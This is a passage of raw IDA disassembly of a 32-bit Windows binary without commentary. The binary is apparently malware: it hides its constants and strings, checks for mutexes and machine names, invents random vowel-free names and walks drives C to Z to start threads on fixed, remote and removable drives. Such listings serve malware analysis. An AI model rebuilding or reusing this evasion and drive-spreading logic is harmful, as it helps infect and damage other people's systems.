movsx ecx, word ptr ds:10013144h
add edx, ecx
cmp eax, edx
jnz short loc_418FEE
inc [ebp+var_60EA4]
loc_418FE0: ; CODE XREF: sub_418999+615j
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jb short loc_418FB0
loc_418FEE: ; CODE XREF: sub_418999+63Fj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jz short loc_419079
mov eax, ds:100131A8h
movsx edx, word ptr ds:10013218h
add eax, edx
sub eax, 6
push eax
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_4188C2
add esp, 0Ch
mov [ebp+var_60EDC], eax
mov eax, ds:10013154h
add eax, 0FFF8h
cmp [ebp+var_60EDC], eax
jnz short loc_419079
push 1001495Fh
call sub_41C914
push eax
lea edi, [ebp+var_50E9B]
push edi
call dword ptr ds:1000D020h
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call dword ptr ds:1000D020h
add esp, 14h
loc_419079: ; CODE XREF: sub_418999:loc_418F9Bj
; sub_418999+661j ...
mov eax, [ebp+var_60EA8]
movsx edx, word ptr ds:100131E0h
movsx ecx, word ptr ds:100131C0h
add edx, ecx
sub edx, 6
add eax, edx
add [ebp+var_40E9C], eax
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb loc_418F53
mov eax, ds:1001328Ch
sub eax, 6
mov [ebp+var_60EB4], eax
lea ecx, [ebp+var_50E9B]
or eax, 0FFFFFFFFh
loc_4190C3: ; CODE XREF: sub_418999+72Fj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4190C3
mov [ebp+var_60EA8], eax
mov eax, ds:100130ACh
add eax, ds:100130F4h
sub eax, 8
mov [ebp+var_40E9C], eax
jmp loc_419327
; ---------------------------------------------------------------------------
loc_4190E9: ; CODE XREF: sub_418999+99Aj
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, ds:10013254h
add edx, 17h
add edx, ds:10013168h
cmp eax, edx
jz short loc_419111
and [ebp+var_60EAC], 0
loc_419111: ; CODE XREF: sub_418999+76Fj
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, ds:100131C4h
add edx, 13h
movsx ecx, word ptr ds:10013150h
add edx, ecx
cmp eax, edx
jnz loc_4192D3
movsx eax, word ptr ds:10013230h
movsx edx, word ptr ds:10013124h
add eax, edx
sub eax, 0Ch
cmp [ebp+var_40E9C], eax
jbe loc_419209
mov eax, [ebp+var_40E9C]
mov edx, ds:100131B8h
add edx, ds:1001325Ch
sub edx, 0Ch
sub eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, ds:100131A0h
add edx, 1Dh
cmp eax, edx
jle short loc_4191A5
movsx edx, word ptr ds:10013240h
mov ecx, ds:10013224h
lea edx, [edx+ecx+29h]
cmp eax, edx
jl short loc_4191FF
loc_4191A5: ; CODE XREF: sub_418999+7F5j
movzx eax, [ebp+var_60EDD]
mov edx, ds:10013164h
add edx, 35h
add edx, ds:10013168h
cmp eax, edx
jle short loc_4191CD
movsx edx, word ptr ds:10013260h
add edx, 3Fh
cmp eax, edx
jl short loc_4191FF
loc_4191CD: ; CODE XREF: sub_418999+824j
movzx eax, [ebp+var_60EDD]
movsx edx, word ptr ds:100131A4h
mov ecx, ds:100131E4h
lea edx, [edx+ecx+6Fh]
cmp eax, edx
jle short loc_419209
mov edx, ds:10013138h
add edx, 76h
movsx ecx, word ptr ds:1001324Ch
add edx, ecx
cmp eax, edx
jge short loc_419209
loc_4191FF: ; CODE XREF: sub_418999+80Aj
; sub_418999+832j
mov [ebp+var_60EAC], 1
loc_419209: ; CODE XREF: sub_418999+7B9j
; sub_418999+84Ej ...
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jnb loc_4192D3
mov eax, [ebp+var_40E9C]
movsx edx, word ptr ds:10013240h
add edx, ds:10013200h
sub edx, 6
add eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, ds:1001321Ch
add edx, 0Fh
add edx, ds:10013128h
cmp eax, edx
jle short loc_41926D
mov edx, ds:100130D4h
add edx, 26h
add edx, ds:10013270h
cmp eax, edx
jl short loc_4192C9
loc_41926D: ; CODE XREF: sub_418999+8BFj
movzx eax, [ebp+var_60EDD]
mov edx, ds:1001317Ch
add edx, 31h
movsx ecx, word ptr ds:10013100h
add edx, ecx
cmp eax, edx
jle short loc_41929F
movsx edx, word ptr ds:10013174h
mov ecx, ds:100131A8h
lea edx, [edx+ecx+38h]
cmp eax, edx
jl short loc_4192C9
loc_41929F: ; CODE XREF: sub_418999+8EFj
movzx eax, [ebp+var_60EDD]
mov edx, ds:100130A0h
add edx, 74h
movsx ecx, word ptr ds:10013098h
add edx, ecx
cmp eax, edx
jle short loc_4192D3
mov edx, ds:10013200h
add edx, 7Ah
cmp eax, edx
jge short loc_4192D3
loc_4192C9: ; CODE XREF: sub_418999+8D2j
; sub_418999+904j
mov [ebp+var_60EAC], 1
loc_4192D3: ; CODE XREF: sub_418999+79Aj
; sub_418999+87Cj ...
cmp [ebp+var_60EAC], 0
jnz short loc_4192FC
mov eax, [ebp+var_60EB4]
mov edx, [ebp+var_40E9C]
mov dl, [ebp+edx+var_50E9B]
mov [ebp+eax+var_50E9B], dl
inc [ebp+var_60EB4]
loc_4192FC: ; CODE XREF: sub_418999+941j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, ds:100131CCh
add edx, 1Ah
cmp eax, edx
jnz short loc_419321
mov [ebp+var_60EAC], 1
loc_419321: ; CODE XREF: sub_418999+97Cj
inc [ebp+var_40E9C]
loc_419327: ; CODE XREF: sub_418999+74Bj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jb loc_4190E9
mov eax, [ebp+var_60EB4]
mov edx, ds:100130F4h
add edx, ds:10013138h
sub edx, 7
mov [ebp+eax+var_50E9B], dl
loc_419355: ; CODE XREF: sub_418999+4FDj
mov eax, [ebp+var_60ED4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_419361: ; CODE XREF: sub_418999+4D9j
and [ebp+var_60EB0], 0
lea eax, [ebp+var_60EB0]
push eax
push 10014A88h
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10013158h
sub eax, 9
cmp ebx, eax
jnz loc_419675
lea eax, [ebp+var_60EBC]
push eax
mov eax, [ebp+var_60EB0]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
movsx eax, word ptr ds:10013174h
movsx edx, word ptr ds:10013264h
add eax, edx
sub eax, 10h
cmp ebx, eax
jnz loc_419669
mov eax, ds:100130ACh
dec eax
mov [ebp-50EA0h], eax
jmp loc_419657
; ---------------------------------------------------------------------------
loc_4193D7: ; CODE XREF: sub_418999+CCAj
mov eax, ds:100131ACh
sub eax, 5
push eax
call dword ptr ds:10012630h
pop ecx
mov [ebp+var_70F08], 2
mov eax, [ebp-50EA0h]
mov [ebp+var_70F00], eax
lea eax, [ebp+var_70EF8]
push eax
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_60EB0]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
mov eax, ds:100131E8h
movsx edx, word ptr ds:10013150h
add eax, edx
sub eax, 9
cmp ebx, eax
jnz loc_419651
and [ebp+var_70EF4], 0
lea eax, [ebp+var_70EF4]
push eax
push 10014A78h
mov eax, [ebp+var_70EF8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10013128h
sub eax, 9
cmp ebx, eax
jnz loc_419645
lea eax, [ebp+var_60EF0]
push eax
mov eax, ds:10013168h
add eax, ds:10013280h
sub eax, 4
push eax
push [ebp+var_30E44]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
or ebx, ebx
jnz short loc_4194BB
cmp [ebp+var_60EF0], 8
jz short loc_4194C0
loc_4194BB: ; CODE XREF: sub_418999+B16j
jmp loc_419639
; ---------------------------------------------------------------------------
loc_4194C0: ; CODE XREF: sub_418999+B20j
movsx eax, word ptr ds:1001322Ch
add eax, ds:10013140h
movsx edx, word ptr ds:10013180h
sub edx, 4
mov byte ptr [ebp+eax+var_70F00+1], dl
lea eax, [ebp+var_70EEF]
push eax
push [ebp+var_60EE8]
call sub_41C841
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F0C], edi
push [ebp+var_60EE8]
call dword ptr ds:10012BA0h
mov eax, ds:100131E8h
movsx edx, word ptr ds:100130BCh
add eax, edx
movsx eax, [ebp+eax+var_70EF9]
mov edx, ds:100131F4h
add edx, ds:100131F8h
sub edx, 7
cmp eax, edx
jz loc_419639
push [ebp+var_30E4C]
lea eax, [ebp+var_70EEF]
push eax
call sub_41DF98
add esp, 8
lea eax, [ebp+var_60EF0]
push eax
mov eax, ds:10013254h
movsx edx, word ptr ds:100131DCh
add eax, edx
sub eax, 0Ah
push eax
push [ebp+var_30E48]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, ds:10013158h
mov edx, ds:10013198h
sub edx, 2
mov byte ptr [ebp+eax+var_71F10], dl
or ebx, ebx
jnz short loc_4195C4
cmp [ebp+var_60EF0], 8
jnz short loc_4195C4
lea eax, [ebp+var_71F07]
push eax
push [ebp+var_60EE8]
call sub_41C841
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F10], edi
push [ebp+var_60EE8]
call dword ptr ds:10012BA0h
loc_4195C4: ; CODE XREF: sub_418999+BF5j
; sub_418999+BFFj
push 10014957h
call sub_41C914
push dword ptr [ebp-50EA0h]
push eax
lea edi, [ebp+var_30E3F]
push edi
call dword ptr ds:10012634h
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000D020h
lea eax, [ebp+var_71F07]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000D020h
push 10014952h
call sub_41C914
push eax
lea edi, [ebp+var_30D40]
push edi
call dword ptr ds:1000D020h
lea eax, [ebp+var_70EEF]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000D020h
add esp, 34h
loc_419639: ; CODE XREF: sub_418999:loc_4194BBj
; sub_418999+B96j
mov eax, [ebp+var_70EF4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_419645: ; CODE XREF: sub_418999+AE4j
mov eax, [ebp+var_70EF8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_419651: ; CODE XREF: sub_418999+AAFj
inc dword ptr [ebp-50EA0h]
loc_419657: ; CODE XREF: sub_418999+A39j
mov eax, [ebp+var_60EBC]
cmp [ebp-50EA0h], eax
jb loc_4193D7
loc_419669: ; CODE XREF: sub_418999+A27j
mov eax, [ebp+var_60EB0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_419675: ; CODE XREF: sub_418999+9F7j
mov eax, [ebp+var_60EC0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
movzx eax, [ebp+var_50E9B]
mov edx, ds:100131ECh
sub edx, 8
cmp eax, edx
jz short loc_4196DC
push 1001494Ch
call sub_41C914
push eax
lea edi, [ebp+var_30D40]
push edi
call dword ptr ds:1000D020h
lea eax, [ebp+var_50E9B]
push eax
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1000D020h
push 10014947h
call sub_41C914
push eax
lea edi, [ebp+var_30D40]
push edi
call dword ptr ds:1000D020h
add esp, 20h
loc_4196DC: ; CODE XREF: sub_418999+46Fj
; sub_418999+CFAj
inc [ebp+var_30E50]
loc_4196E2: ; CODE XREF: sub_418999+3F9j
mov eax, [ebp+var_30E58]
cmp [ebp+var_30E50], eax
jb loc_418D97
loc_4196F4: ; CODE XREF: sub_418999+28Dj
; sub_418999+30Dj ...
inc [ebp+var_40E5C]
mov eax, [ebp+var_40E90]
cmp [ebp+var_40E5C], eax
jl loc_418BE1
lea eax, [ebp+var_30D40]
push eax
call dword ptr ds:1001262Ch
pop ecx
push [ebp+var_30E44]
call dword ptr ds:10012BA0h
push [ebp+var_30E48]
call dword ptr ds:10012BA0h
loc_419732: ; CODE XREF: sub_418999+1EEj
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41973E: ; CODE XREF: sub_418999+1C7j
mov eax, [ebp+var_40E6C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41974A: ; CODE XREF: sub_418999+1A4j
mov eax, [ebp+var_40E68]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_419756: ; CODE XREF: sub_418999+C7j
; sub_418999:loc_418AB4j ...
mov eax, [ebp+var_40E64]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_419762: ; CODE XREF: sub_418999+61j
; sub_418999+A2j
pop edi
pop esi
pop ebx
leave
retn
sub_418999 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419767 proc near ; CODE XREF: sub_41AFF0+94p
; sub_41AFF0+CEp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 0Ah
mov edx, 0CCCCCCCDh
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
add edi, 61h
mov ebx, edi
mov [ebp+arg_0], bl
mov al, [ebp+arg_0]
cmp al, 65h
jz short loc_4197A8
cmp al, 79h
jz short loc_4197A8
cmp al, 75h
jz short loc_4197A8
cmp al, 69h
jz short loc_4197A8
cmp al, 6Fh
jz short loc_4197A8
cmp al, 61h
jnz short loc_4197AC
loc_4197A8: ; CODE XREF: sub_419767+2Bj
; sub_419767+2Fj ...
add [ebp+arg_0], 1
loc_4197AC: ; CODE XREF: sub_419767+3Fj
cmp [ebp+arg_0], 6Ah
jnz short loc_4197B6
add [ebp+arg_0], 1
loc_4197B6: ; CODE XREF: sub_419767+49j
movzx eax, [ebp+arg_0]
pop edi
pop ebx
leave
retn
sub_419767 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4197BE proc near ; CODE XREF: .data:0041BD80p
var_100C = byte ptr -100Ch
var_1004 = byte ptr -1004h
var_1003 = byte ptr -1003h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_423379
push ebx
push esi
push edi
push 10014935h
call sub_41C914
pop ecx
push 0
push eax
push 0
push [ebp+arg_0]
call dword ptr ds:1001263Ch
mov edi, eax
or edi, edi
jnz short loc_4197F0
mov edi, [ebp+arg_0]
loc_4197F0: ; CODE XREF: sub_4197BE+2Dj
push 1001491Fh
call sub_41C914
pop ecx
push 0
push eax
push 0
push edi
call dword ptr ds:1001263Ch
mov edi, eax
lea eax, [ebp+var_FFF]
push eax
push 0FFFh
push 0Dh
push edi
call dword ptr ds:1000D014h
movsx eax, word ptr ds:100131B4h
add eax, ds:10013188h
cmp [ebp+eax+var_1003], 20h
jnz short loc_41984E
mov eax, ds:10013194h
add eax, ds:100131C4h
cmp [ebp+eax+var_100C], 20h
jz loc_4198E5
loc_41984E: ; CODE XREF: sub_4197BE+75j
mov eax, ds:100130C8h
cmp [ebp+eax+var_FFF], 68h
jnz short loc_419874
movsx eax, word ptr ds:10013230h
add eax, ds:10013188h
cmp [ebp+eax+var_1004], 74h
jz short loc_4198E5
loc_419874: ; CODE XREF: sub_4197BE+9Dj
lea ecx, [ebp+var_FFF]
or eax, 0FFFFFFFFh
loc_41987D: ; CODE XREF: sub_4197BE+C4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41987D
mov ebx, ds:10013274h
add ebx, 0Ch
cmp eax, ebx
jb short loc_4198E5
push 1001491Ah
call sub_41C914
mov esi, ds:10013128h
sub esi, 5
push esi
push eax
lea esi, [ebp+var_FFF]
push esi
call sub_4188C2
add esp, 10h
movsx ebx, word ptr ds:100131A4h
add ebx, 0FFF8h
cmp eax, ebx
jnz short loc_4198E5
push 10014914h
call sub_41C914
pop ecx
push eax
mov esi, ds:10013214h
sub esi, 9
push esi
push 0Ch
push edi
call dword ptr ds:1000D014h
loc_4198E5: ; CODE XREF: sub_4197BE+8Aj
; sub_4197BE+B4j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4197BE endp
; =============== S U B R O U T I N E =======================================
sub_4198EA proc near ; CODE XREF: .data:0041F032p
push edi
push 10014904h
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:100132A8h, eax
test eax, eax
jnz short loc_41991D
push 100148F4h
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:100132A8h, eax
loc_41991D: ; CODE XREF: sub_4198EA+1Aj
push 100148E2h
call sub_41C914
push eax
push dword ptr ds:100132A8h
call dword ptr ds:1000F1F8h
mov ds:1000D044h, eax
push 100148D1h
call sub_41C914
push eax
push dword ptr ds:100132A8h
call dword ptr ds:1000F1F8h
mov ds:10012BA0h, eax
push 100148C1h
call sub_41C914
push eax
push dword ptr ds:100132A8h
call dword ptr ds:1000F1F8h
mov ds:10012BB0h, eax
push 100148B2h
call sub_41C914
push eax
push dword ptr ds:100132A8h
call dword ptr ds:1000F1F8h
mov ds:1000D038h, eax
push 100148A2h
call sub_41C914
add esp, 14h
push eax
push dword ptr ds:100132A8h
call dword ptr ds:1000F1F8h
mov ds:10010254h, eax
pop edi
retn
sub_4198EA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 10012BA8h
call dword ptr ds:1000FA3Ch
mov eax, ds:10012BA8h
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+0Ch]
mov edi, [ebp+10h]
push 10014AC8h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_4199F1
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_419A39
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: .data:004199DFj
push 10014A48h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_419A11
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_419A39
; ---------------------------------------------------------------------------
loc_419A11: ; CODE XREF: .data:004199FFj
push 10014A18h
push esi
call dword ptr ds:10012648h
or eax, eax
jz short loc_419A31
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_419A39
; ---------------------------------------------------------------------------
loc_419A31: ; CODE XREF: .data:00419A1Fj
and dword ptr [edi], 0
mov eax, 80004002h
loc_419A39: ; CODE XREF: .data:004199EFj
; .data:00419A0Fj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
dd 4001B8h, 18C280h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov edi, [ebp+8]
push 10004490h
push dword ptr fs:0
mov fs:0, esp
push 1001489Ah
call sub_41C914
push dword ptr [edi]
push eax
lea esi, [ebp-0Ah]
push esi
call dword ptr ds:10012634h
add esp, 10h
loc_419A7E: ; CODE XREF: .data:00419AA3j
push 0
push dword ptr [edi]
lea eax, [ebp-0Ah]
push eax
call sub_41D764
mov eax, ds:1001323Ch
add eax, ds:10013108h
sub eax, 0Bh
push eax
call dword ptr ds:10012630h
add esp, 10h
jmp short loc_419A7E
; ---------------------------------------------------------------------------
db 5Fh, 5Eh, 0C9h
db 0C2h, 4, 0
; =============== S U B R O U T I N E =======================================
sub_419AAB proc near ; CODE XREF: .data:0041F03Cp
push edi
push 1001488Ch
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:100132B0h, eax
test eax, eax
jnz short loc_419ADE
push 1001487Eh
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:100132B0h, eax
loc_419ADE: ; CODE XREF: sub_419AAB+1Aj
cmp dword ptr ds:100132B0h, 0
jz short loc_419B01
mov eax, ds:10013248h
add eax, 5
push eax
push dword ptr ds:100132B0h
call dword ptr ds:1000F1F8h
mov ds:1000D01Ch, eax
loc_419B01: ; CODE XREF: sub_419AAB+3Aj
pop edi
retn
sub_419AAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B03 proc near ; CODE XREF: .data:loc_41F052p
; .data:00420EACp
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 108h
push esi
push edi
movsx eax, word ptr ds:10013150h
mov edi, eax
add edi, ds:100130B8h
sub edi, 9
jmp short loc_419B91
; ---------------------------------------------------------------------------
loc_419B22: ; CODE XREF: sub_419B03+A1j
push 10014872h
call sub_41C914
mov [ebp+var_108], eax
push 10014868h
call sub_41C914
push edi
push eax
mov esi, [ebp+var_108]
push esi
lea esi, [ebp+var_FF]
push esi
call dword ptr ds:10012634h
add esp, 18h
lea eax, [ebp+var_FF]
push eax
push 0
push 1F0001h
call dword ptr ds:10011648h
mov [ebp+var_104], eax
or eax, eax
jz short loc_419B90
push eax
call dword ptr ds:10011654h
mov eax, ds:100130B8h
dec eax
cmp edi, eax
jnz short loc_419B89
xor eax, eax
inc eax
jmp short loc_419BAC
; ---------------------------------------------------------------------------
loc_419B89: ; CODE XREF: sub_419B03+7Fj
mov eax, 2
jmp short loc_419BAC
; ---------------------------------------------------------------------------
loc_419B90: ; CODE XREF: sub_419B03+6Ej
inc edi
loc_419B91: ; CODE XREF: sub_419B03+1Dj
mov eax, ds:10013234h
add eax, 5Ch
movsx edx, word ptr ds:10013178h
add eax, edx
cmp edi, eax
jb loc_419B22
xor eax, eax
loc_419BAC: ; CODE XREF: sub_419B03+84j
; sub_419B03+8Bj
pop edi
pop esi
leave
retn
sub_419B03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419BB0 proc near ; CODE XREF: .data:0041F04Bp
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
mov [ebp+var_104], 0FFh
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_FF]
push eax
call dword ptr ds:1000F5F0h
push 1001485Eh
call sub_41C914
mov edi, ds:10013138h
add edi, ds:100130DCh
sub edi, 2
push edi
push eax
lea edi, [ebp+var_FF]
push edi
call sub_4188C2
add esp, 10h
movsx esi, word ptr ds:100131F0h
add esi, 0FFFCh
cmp eax, esi
jz short loc_419C19
xor eax, eax
inc eax
jmp short loc_419C60
; ---------------------------------------------------------------------------
loc_419C19: ; CODE XREF: sub_419BB0+62j
push 10014852h
call sub_41C914
mov edi, ds:100131D0h
add edi, ds:100130A0h
sub edi, 0Ah
push edi
push eax
lea edi, [ebp+var_FF]
push edi
call sub_4188C2
add esp, 10h
mov esi, ds:10013258h
add esi, 0FFF9h
add esi, ds:10013270h
cmp eax, esi
jz short loc_419C5E
xor eax, eax
inc eax
jmp short loc_419C60
; ---------------------------------------------------------------------------
loc_419C5E: ; CODE XREF: sub_419BB0+A7j
xor eax, eax
loc_419C60: ; CODE XREF: sub_419BB0+67j
; sub_419BB0+ACj
pop edi
pop esi
leave
retn
sub_419BB0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov eax, [ebp+18h]
mov [ebp+18h], ax
movsx eax, word ptr ds:1001327Ch
add eax, 0C4h
cmp [ebp+0Ch], eax
jnz loc_419D93
mov word ptr [ebp-18h], 3
lea eax, [ebp-10h]
push eax
mov eax, ds:10013394h
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov [ebp-4], eax
movsx eax, word ptr ds:1001327Ch
add eax, ds:100130B4h
sub eax, 0Ch
cmp [ebp-4], eax
jnz loc_419D8F
dec dword ptr [ebp-10h]
lea eax, [ebp-1Ch]
push eax
lea esi, [ebp-18h]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, ds:10013394h
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov [ebp-4], eax
mov eax, ds:1001326Ch
sub eax, 9
cmp [ebp-4], eax
jnz loc_419D8F
lea eax, [ebp-20h]
push eax
push 10014AD8h
mov eax, [ebp-1Ch]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp-4], eax
mov eax, ds:10013254h
add eax, ds:10013224h
sub eax, 0Eh
cmp [ebp-4], eax
jnz short loc_419D86
lea eax, ds:10013390h
mov [ebp-8], eax
push eax
mov ebx, [eax]
call dword ptr [ebx+4]
lea eax, [ebp-24h]
push eax
push 10014A18h
mov eax, [ebp-8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp-4], eax
mov eax, ds:100130A0h
sub eax, 4
cmp [ebp-4], eax
jnz short loc_419D74
lea eax, [ebp-2Ch]
push eax
push 10014A18h
push dword ptr [ebp-24h]
push dword ptr [ebp-20h]
call sub_41FA4A
add esp, 10h
mov [ebp-28h], eax
mov eax, [ebp-24h]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_419D74: ; CODE XREF: .data:00419D4Fj
mov eax, [ebp-8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, [ebp-20h]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_419D86: ; CODE XREF: .data:00419D1Aj
mov eax, [ebp-1Ch]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_419D8F: ; CODE XREF: .data:00419CB4j
; .data:00419CEAj
xor eax, eax
jmp short loc_419D98
; ---------------------------------------------------------------------------
loc_419D93: ; CODE XREF: .data:00419C83j
mov eax, 80020003h
loc_419D98: ; CODE XREF: .data:00419D91j
pop edi
pop esi
pop ebx
leave
retn 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_419DA2: ; CODE XREF: .data:00419DD2j
movsx eax, word ptr ds:1001327Ch
sub eax, 4
push eax
call dword ptr ds:10012630h
pop ecx
movsx eax, word ptr ds:10013218h
add eax, ds:100131ACh
sub eax, 0Ah
push eax
push 10004912h
push 0
call dword ptr ds:1000D048h
jmp short loc_419DA2
; ---------------------------------------------------------------------------
dd 4C25Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, 43h
jmp short loc_419DF1
; ---------------------------------------------------------------------------
loc_419DE8: ; CODE XREF: .data:00419DF4j
and dword ptr ds:10012790h[esi*4], 0
inc esi
loc_419DF1: ; CODE XREF: .data:00419DE6j
cmp esi, 5Ah
jbe short loc_419DE8
loc_419DF6: ; CODE XREF: .data:00419F6Aj
mov edi, 43h
jmp loc_419F51
; ---------------------------------------------------------------------------
loc_419E00: ; CODE XREF: .data:00419F54j
mov eax, ds:100131E8h
dec eax
push eax
call dword ptr ds:10012630h
push 1001484Ah
call sub_41C914
push edi
push eax
lea ebx, [ebp-0Eh]
push ebx
call dword ptr ds:10012634h
add esp, 14h
cmp dword ptr ds:10012790h[edi*4], 0
jz short loc_419E6A
mov eax, ds:1001320Ch
sub eax, 6
mov [ebp-14h], eax
lea eax, [ebp-14h]
push eax
push dword ptr ds:10012790h[edi*4]
call dword ptr ds:10012650h
cmp dword ptr [ebp-14h], 103h
jz short loc_419E6A
push dword ptr ds:10012790h[edi*4]
call dword ptr ds:10011654h
and dword ptr ds:10012790h[edi*4], 0
loc_419E6A: ; CODE XREF: .data:00419E2Ej
; .data:00419E53j
lea eax, [ebp-0Eh]
push eax
call dword ptr ds:10012668h
mov [ebp-4], eax
cmp eax, 3
jz short loc_419EB2
cmp eax, 4
jz short loc_419EB2
cmp eax, 2
jz short loc_419EB2
cmp dword ptr ds:10012790h[edi*4], 0
jz loc_419F50
mov ebx, ds:100130F8h
movsx edx, word ptr ds:100130E8h
add ebx, edx
sub ebx, 8
mov ds:1000F630h[edi*4], ebx
jmp loc_419F50
; ---------------------------------------------------------------------------
loc_419EB2: ; CODE XREF: .data:00419E7Aj
; .data:00419E7Fj ...
push 1
call dword ptr ds:1000E000h
lea eax, [ebp-24h]
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-18h]
push eax
lea eax, [ebp-0Eh]
push eax
call dword ptr ds:1000F0D4h
mov ebx, ds:10013134h
sub ebx, 8
cmp eax, ebx
jnz short loc_419EFE
cmp dword ptr ds:10012790h[edi*4], 0
jz short loc_419F50
movsx ebx, word ptr ds:10013144h
sub ebx, 6
mov ds:1000F630h[edi*4], ebx
jmp short loc_419F50
; ---------------------------------------------------------------------------
loc_419EFE: ; CODE XREF: .data:00419EDFj
cmp dword ptr ds:10012790h[edi*4], 0
jnz short loc_419F50
mov ds:1000F630h[edi*4], edi
lea eax, [ebp-28h]
push eax
movsx eax, word ptr ds:10013264h
add eax, ds:10013194h
sub eax, 12h
push eax
lea ebx, ds:1000F630h[edi*4]
push ebx
push 1000263Bh
mov ebx, ds:10013114h
add ebx, ds:1001312Ch
sub ebx, 10h
push ebx
push 0
call dword ptr ds:10012B90h
